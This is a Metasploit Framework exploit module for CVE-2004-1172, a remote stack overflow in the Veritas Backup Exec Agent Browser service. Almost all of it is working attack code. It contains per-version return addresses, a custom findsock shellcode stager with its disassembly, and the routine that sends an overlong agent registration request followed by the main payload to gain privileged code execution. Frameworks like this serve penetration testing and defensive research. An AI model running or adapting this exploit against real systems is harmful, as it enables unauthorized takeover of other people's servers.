## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Veritas Backup Exec Name Service Overflow', 'Description' => %q{ This module exploits a vulnerability in the Veritas Backup Exec Agent Browser service. This vulnerability occurs when a recv() call has a length value too long for the destination stack buffer. By sending an agent name value of 63 bytes or more, we can overwrite the return address of the recv function. Since we only have ~60 bytes of contiguous space for shellcode, a tiny findsock payload is sent which uses a hardcoded IAT address for the recv() function. This payload will then roll the stack back to the beginning of the page, recv() the real shellcode into it, and jump to it. This module has been tested against Veritas 9.1 SP0, 9.1 SP1, and 8.6. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2004-1172'], [ 'OSVDB', '12418'], [ 'BID', '11974'], [ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'], ], 'Privileged' => true, 'Payload' => { 'Space' => 1024, 'MinNops' => 512, 'MinNops' => 512, 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101 { 'Platform' => 'win', 'Rets' => [ 0x0142ffa1, 0x401150FF ], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe }, ], [ 'Veritas BE 8.5', { 'Platform' => 'win', 'Rets' => [ 0x014308b9, 0x401138FF ], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572 }, ], ], 'DisclosureDate' => 'Dec 16 2004', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6101) ], self.class) end def exploit connect print_status("Trying target #{target.name}...") # This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv) # The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid # nulls: [0x00401150 -> 0x401150FF] stage_code = "\xfc" * 112 stage_read = "\x31\xf6\xc1\xec\x0c\xc1\xe4\x0c\x89\xe7\x89\xfb\x6a\x01\x8b\x74"+ "\x24\xfe\x31\xd2\x52\x42\xc1\xe2\x10\x52\x57\x56\xb8\xff\x50\x11"+ "\x40\xc1\xe8\x08\xff\x10\x85\xc0\x79\x07\x89\xdc\x4e\x85\xf6\x75" # Configure the IAT for the recv call stage_read[29, 4] = [ target['Rets'][1] ].pack('V') # Stuff it all into one request stage_code[2, stage_read.length] = stage_read # Create the registration request req = "\x02\x00\x32\x00\x20\x00" + stage_code + "\x00"+ "1.1.1.1.1.1\x00" + "\xeb\x81" print_status("Sending the agent registration request of #{req.length} bytes...") sock.put(req) print_status("Sending the payload stage down the socket...") sock.put(payload.encoded) print_status("Waiting for the payload to execute...") sleep(2) handler disconnect end end __END__ [ findsock stage ] 00000000 31F6 xor esi,esi 00000002 C1EC0C shr esp,0xc 00000005 C1E40C shl esp,0xc 00000008 89E7 mov edi,esp 0000000A 89FB mov ebx,edi 0000000C 6A01 push byte +0x1 0000000E 8B7424FE mov esi,[esp-0x2] 00000012 31D2 xor edx,edx 00000014 52 push edx 00000015 42 inc edx 00000016 C1E210 shl edx,0x10 00000019 52 push edx 0000001A 57 push edi 0000001B 56 push esi 0000001C B8FF501140 mov eax,0x401150ff 00000021 C1E808 shr eax,0x8 00000024 FF10 call near [eax] 00000026 85C0 test eax,eax 00000028 7907 jns 0x31 0000002A 89DC mov esp,ebx 0000002C 4E dec esi 0000002D 85F6 test esi,esi 0000002F 75E1 jnz 0x12 00000031 FFD7 call edi